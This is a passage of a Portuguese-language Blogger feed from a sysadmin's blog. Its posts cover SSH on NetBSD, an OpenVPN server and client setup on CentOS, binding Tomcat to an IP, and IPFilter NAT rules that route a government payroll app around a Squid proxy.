href='http://www.blogger.com/feeds/4349724564081206105/posts/default/786961415584360504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/786961415584360504'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/hunter-varrendo-e-organizando-arquivos.html' title='HUNTER - Varrendo e Organizando arquivos'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-2665941867877774635</id><published>2011-02-03T16:34:00.005-03:00</published><updated>2011-02-27T03:11:09.044-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='videos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>SSH no NetBSD</title><content type='html'>&lt;div&gt;Está aí mais um vídeo... Neste eu apresento como configurar o serviço SSH no NetBSD. É um detalhe mínimo que faz muitas pessoas bater cabeça (assim como bati quando comecei com o NetBSD).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;iframe src="http://www.youtube.com/embed/p2HPj0cV81k?fs=1" allowfullscreen="" width="425" frameborder="0" height="344"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tirem proveito, e qualquer dúvida posta aí...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Forte abraço!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-2665941867877774635?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/2665941867877774635/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/ssh-no-netbsd.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2665941867877774635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/2665941867877774635'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/ssh-no-netbsd.html' title='SSH no NetBSD'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/p2HPj0cV81k/default.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6063880575008880917</id><published>2011-02-01T17:47:00.005-03:00</published><updated>2011-02-01T18:14:04.818-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>OpenVPN no CentOS</title><content type='html'>&lt;div style="text-align: justify;"&gt;Oba oba!!! \0/&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Estou de volta para guardar mais uma informação útil! A instalação do OpenVPN no CentOS. Vou mostrar aqui de maneira bem direta a instalação e configuração que já realizei em diversos ambientes.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span"&gt;&lt;div style="text-align: justify;"&gt;STARTING...&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight:bold;"&gt;&lt;div style="text-align: justify;"&gt;1. Instale o repositório RPMForge:&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.1-1.el5.rf.i386.rpm&lt;/div&gt;&lt;div style="text-align: justify;"&gt;rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;rpm -K rpmforge-release-0.5.1-1.el5.rf.*.rpm&lt;/div&gt;&lt;div style="text-align: justify;"&gt;rpm -i rpmforge-release-0.5.1-1.el5.rf.*.rpm&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;2. Verifique se o RPMForge aparece na lista de repositórios:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;yum check-update&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;3. Instale o OpenVPN&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;yum install openvpn -y&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;4. Iniciando a configuração:&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;cp -pra /usr/share/openvpn/2.0/easy-rsa /etc/openvpn&lt;/div&gt;&lt;div style="text-align: justify;"&gt;cd /etc/openvpn/easy-rsa&lt;/div&gt;&lt;div style="text-align: justify;"&gt;. ./vars&lt;/div&gt;&lt;div style="text-align: justify;"&gt;./clean-all&lt;/div&gt;&lt;div style="text-align: justify;"&gt;./build-ca&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;5. Criando a chave para o servidor:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;./build-key-server server&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;6. Criando a chave para o cliente:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;./build-key cliente&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;7. Gerando um Diff Hellman (DH) no servidor:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;./build-dh&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;dentro do diretório /etc/openvpn/ encontra-se um arquivo chamado server.conf (se não existir crie ele). Nesse arquivo criamos a seguinte configuração:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;8. Exemplo de configuração do servidor:&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;######################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# CONFIGURAÇÃO DA VPN BÁSICA INICIAL #&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# 13/07/2010 - ALAN MEC LACERDA #&lt;/div&gt;&lt;div style="text-align: justify;"&gt;######################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;proto tcp-server&lt;/div&gt;&lt;div style="text-align: justify;"&gt;port 1194&lt;/div&gt;&lt;div style="text-align: justify;"&gt;dev tap&lt;/div&gt;&lt;div style="text-align: justify;"&gt;mode server&lt;/div&gt;&lt;div style="text-align: justify;"&gt;tls-server&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Configuração dos certificados&lt;/div&gt;&lt;div style="text-align: justify;"&gt;ca easy-rsa/2.0/keys/ca.crt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;cert easy-rsa/2.0/keys/server.crt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;key easy-rsa/2.0/keys/server.key&lt;/div&gt;&lt;div style="text-align: justify;"&gt;dh easy-rsa/2.0/keys/dh1024.pem&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Configuração para prender/amarrar um IP a um determinado cliente&lt;/div&gt;&lt;div style="text-align: justify;"&gt;client-config-dir /etc/openvpn/ccd&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# usando compressão para otimizar o link&lt;/div&gt;&lt;div style="text-align: justify;"&gt;comp-lzo&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;status openvpn-status.log&lt;/div&gt;&lt;div style="text-align: justify;"&gt;server 10.2.2.0 255.255.255.0&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# guardar a lista de IPs designados num arquivo de log&lt;/div&gt;&lt;div style="text-align: justify;"&gt;ifconfig-pool-persist ippool.log&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Aqui termina o arquivo de configuração do servidor. Conforme foi definido na configuração do mesmo, nós estamos usando uma configuração para prender/amarrar um IP específico para o cliente da VPN (isso se dá por que o IP é designado dinâmicamente aos clientes da VPN). Assim, temos de criar o arquivo que amarra o IP ao cliente:&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;###################################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Exemplo de um arquivo dentro do diretório ccd: #&lt;/div&gt;&lt;div style="text-align: justify;"&gt;###################################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;# OBSERVAÇÃO: O arquivo DEVE ter o nome do cliente&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;# (cliente esse que é gerado no arquivo de chave criptográfica:veja passo 6)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Apenas é necessário a definição do IP classe /30 que&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# será designado ao cliente na outra ponta.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;ifconfig-push 10.2.2.2 255.255.255.252&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O que segue agora é o arquivo que vai ser enviado para o cliente a fim de poder se conectar na VPN do servidor.&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;b&gt;9. Exemplo de configuração do cliente:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/b&gt;&lt;div style="text-align: justify;"&gt;######################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# CONFIGURAÇÃO DA VPN BÁSICA INICIAL #&lt;/div&gt;&lt;div style="text-align: justify;"&gt;#    13/07/2010 - ALAN MEC LACERDA   #&lt;/div&gt;&lt;div style="text-align: justify;"&gt;######################################&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;#Configurações iniciais&lt;/div&gt;&lt;div style="text-align: justify;"&gt;client&lt;/div&gt;&lt;div style="text-align: justify;"&gt;dev tap&lt;/div&gt;&lt;div style="text-align: justify;"&gt;proto tcp-client&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;#Servidor da VPN e porta a conectar&lt;/div&gt;&lt;div style="text-align: justify;"&gt;192.1.1.1 1194&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;#Otimizando o túnel&lt;/div&gt;&lt;div style="text-align: justify;"&gt;persist-key&lt;/div&gt;&lt;div style="text-align: justify;"&gt;persist-tun&lt;/div&gt;&lt;div style="text-align: justify;"&gt;comp-lzo&lt;/div&gt;&lt;div style="text-align: justify;"&gt;resolv-retry infinite&lt;/div&gt;&lt;div style="text-align: justify;"&gt;nobind&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Configurações do certificado digital&lt;/div&gt;&lt;div style="text-align: justify;"&gt;remote-cert-tls server&lt;/div&gt;&lt;div style="text-align: justify;"&gt;tls-client&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Esses arquivos devem ser copiados do servidor para a máquina do cliente&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;# Observem o caminho para os arquivos e configure corretamente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;ca c:\\tech\\keys\\ca.crt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;cert c:\\tech\\keys\\Cliente.crt&lt;/div&gt;&lt;div style="text-align: justify;"&gt;key c:\\tech\\keys\\Cliente.key&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;# Verbose&lt;/div&gt;&lt;div style="text-align: justify;"&gt;verb 3&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Aqui finaliza a configuração do arquivo do cliente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"&gt;FINISHING...&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bem, em termos bem simples, é isso aí a configuração básica para uma VPN usado o tão famoso OpenVPN. Lembre que no cliente será necessário instalar também o software do OpenVPN a fim de se conectar ao servidor.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Espero ter sido se ajuda, e se tiver alguma dúvida pode se sentir a vontade para perguntar.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Forte abraço,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6063880575008880917?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6063880575008880917/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/openvpn-no-centos.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6063880575008880917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6063880575008880917'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/02/openvpn-no-centos.html' title='OpenVPN no CentOS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-9209350890942710479</id><published>2011-01-24T11:04:00.002-03:00</published><updated>2011-01-24T11:09:20.360-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='tomcat'/><title type='text'>Tomcat ouvindo em um endereço IP específico</title><content type='html'>Boa pessoal,&lt;br /&gt;&lt;br /&gt;Demoro mas apareço. Desta vez venho guardar aqui mais uma informação que pode ser de&lt;br /&gt;meu interesse futuro e que também pode ajudar vocês.&lt;br /&gt;&lt;br /&gt;Para definir o endereço IP onde no qual o tomcat deve ouvir, nós vamos até a pasta onde&lt;br /&gt;o tomcat está e entramos no diretório "conf", daí editamos o arquivo server.xml e adicionamos a parte em negito:&lt;br /&gt;&lt;br /&gt;Connector port="8080" protocol="HTTP/1.1" &lt;span style="font-weight:bold;"&gt;address="10.2.2.1"&lt;/span&gt;&lt;br /&gt;               connectionTimeout="20000"&lt;br /&gt;               redirectPort="8443"&lt;br /&gt;&lt;br /&gt;Observou onde foi colocado? Na linha que define a porta 8080 (padrão do Tomcat) lá, definimos qual endereço IP queremos que seja usado!&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-9209350890942710479?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/9209350890942710479/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/01/tomcat-ouvindo-em-um-endereco-ip.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/9209350890942710479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/9209350890942710479'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/01/tomcat-ouvindo-em-um-endereco-ip.html' title='Tomcat ouvindo em um endereço IP específico'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-3520194627238385409</id><published>2010-07-16T09:34:00.003-03:00</published><updated>2010-07-16T09:38:53.192-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>IPFilter vs Conectividade Social</title><content type='html'>Este é um breve artigo que escrevi há alguns anos. Futucando aqui encontrei ele, e quero compartilhar com vocês:&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="BrOffice.org 3.1  (Win32)"&gt;&lt;style type="text/css"&gt; 	&lt;!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } 		A:link { color: #0000ff; so-language: zxx } 	--&gt; 	&lt;/style&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="CENTER"&gt;&lt;span style="font-family:Arial,serif;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Proxy Transparente + Conectividade Social + IPFilter no NetBSD&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;A Conectividade Social é um aplicativo que fornece serviços geralmente utilizados pelo setor pessoal de uma empresa para entrega do SEFIP, pedir extratos do FGTS, guia do INSS e coisas do tipo. Resumindo: O setor pessoal NECESSITA da conectividade.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;O acesso à Internet coloca ao alcance dos usuários de uma empresa informações ou conteúdos que geralmente são inconvenientes para a empresa (sites pornográficos, download de música, livros piratas e afins). Para evitar isso se usa Proxys que são sistemas capazes de bloquear acesso a conteúdos indesejados pela política ou necessidade da empresa. Resumindo: A empresa NECESSITA de um PROXY.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;A Conectividade Social (CS) não se comporta muito bem quando passa por um Proxy. Isso se dá por que o fluxo de comunicação da CS acontece via porta 80 (HTTP), mas o seu conteúdo é criptografado (HTTPS). É! eles fugiram do padrão, e quando isso é feito, o que acontece? Isso mesmo: PROBLEMAS, INCOMPATIBILIDADE. E sobra sempre pra nós, administradores que independente de quem errou, temos que fazer a coisa funcionar.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Se você usa o IPTables, bem provável achará a solução para esse problema num piscar de olhos. Mas se precisa resolver esse problema usando IPFilter, acredito que esse é o primeiro, e até agora o único lugar que você poderá encontrar a informação que procura. No IPFilter é um pouco mais complicado por causa da estrutura que o NAT e o Firewall é organizada e a ordem de fluxo do pacote: &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a href="http://coombs.anu.edu.au/%7Eavalon/ipfil-flow.html"&gt;http://coombs.anu.edu.au/~avalon/ipfil-flow.html&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt; ou seja, uma regra de firewall, diferentemente do IPTables, não resolveria o nosso problema. Temos de resolver isso na regra de NAT mesmo.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Em fim vamos à solução:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;O Proxy Transparente funciona com a idéia básica de que todo pacote que for sair pra a Internet, deve ser redirecionado para a porta do Proxy antes, a fim de que o conteúdo seja inspecionado e, a depender da regra contida no Proxy, o trêfego será liberado ou não. No IPFilter a regra de redirecionamento desses pacotes é algo mais ou menos assim:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from any to any port = 80 -&gt; 127.0.0.1 port 3128&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;rtk0 seria a interface da rede interna, 127.0.0.1 funcionaria nesse caso pois o Proxy está instalado na mesma máquina onde está o Firewall (caso fosse em máquina diferente, bastaria colocar o respectivo endereço), a porta 3128 é a porta padrão que o Squid Proxy escuta.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Já que a CS não pode passar pelo nosso filtro teremos que desviar o fluxo toda vez que o destino for caixa econômica federal (generalizei, poderia ser apenas pra o IP da CS), para evitar que ele passe pelo Proxy. Para isso teríamos que fazer um redirecionamento condicional, mas como não encontrei um modo de fazer isso, dei um jeito fazendo redirecionamento direto para o destino.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Para isso eu precisei coletar os endereços IP que estavam relacionados à conexão com a caixa até o fim da transação entre o setor pessoal e a CS. Foi um trabalho chato e meio vergonhoso usando o tcpdump, o grep, o resolvip e uma funcionária do setor pessoal (obrigado pela paciência Claudia). Mas os IPs resultantes desse trabalho fora:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;200.201.173.68, 200.201.166.200, 200.201.166.240, 200.201.162.21 e 200.201.174.207&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Sendo assim, agora precisamos apenas garantir que, toda vez que a comunicação for ser feita com um desses endereços, o fluxo passe direto, sem que o Proxy nem ao menos sinta o cheiro desses pacotes. Ou seja, um redirecionamento direto para o destino. De forma lógica eu concluí que deveria ser posta antes da regra de redirecionamento geral para a porta 3128, uma outra regra, que seria mais restritiva, assim:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.173.68/32 port = 80 -&gt; 200.201.173.68 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 0/0 port = 80 -&gt; 127.0.0.1 port 3128&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; border-width: medium medium 1.5pt; border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 10); padding: 0cm 0cm 0.04cm;" align="JUSTIFY"&gt; Assim tudo seria enviado para a porta 3128 de meu squid, EXCETO o que fosse para o endereço 200.201.173.68, por que quando o pacote chegasse na interface (rtk0) e o firewall fosse checar a regra de NAT pra ele, a primeira regra (que por padrão será aceita) é: MANDE ISSO PRA O DESTINO. Logo o pacote não passa pelo Proxy. SIMPLES! Todos os outros pacotes não iriam casar com a primeira regra, logo iriam passar pelo Proxy. Então o meu arquivo de NAT completo ficou assim:&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; border-width: medium medium 1.5pt; border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 10); padding: 0cm 0cm 0.04cm;" align="JUSTIFY"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;firewall@~#cat /etc/ipnat.rules&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;map rtk1 192.168.0.0/24 -&gt; 0.0.0.0/32 portmap tcp/udp 40000:60000&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;map rtk1 192.168.0.0/24 -&gt; 0.0.0.0/32&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY" lang="en-US"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;################################################################&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;#                                                                  SQUID                                                                        #&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;################################################################&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.173.68/32 port = 80 -&gt; 200.201.173.68 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.166.200/32 port = 80 -&gt; 200.201.166.200 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.166.240/32 port = 80 -&gt; 200.201.166.240 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.162.21/32 port = 80 -&gt; 200.201.162.21 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;rdr rtk0 from 0/0 to 200.201.174.207/32 port = 80 -&gt; 200.201.174.207 port 80&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; border-width: medium medium 1.5pt; border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(0, 0, 10); padding: 0cm 0cm 0.04cm;" align="JUSTIFY"&gt; rdr rtk0 0/0 port 80 -&gt; 127.0.0.1 port 3128&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" 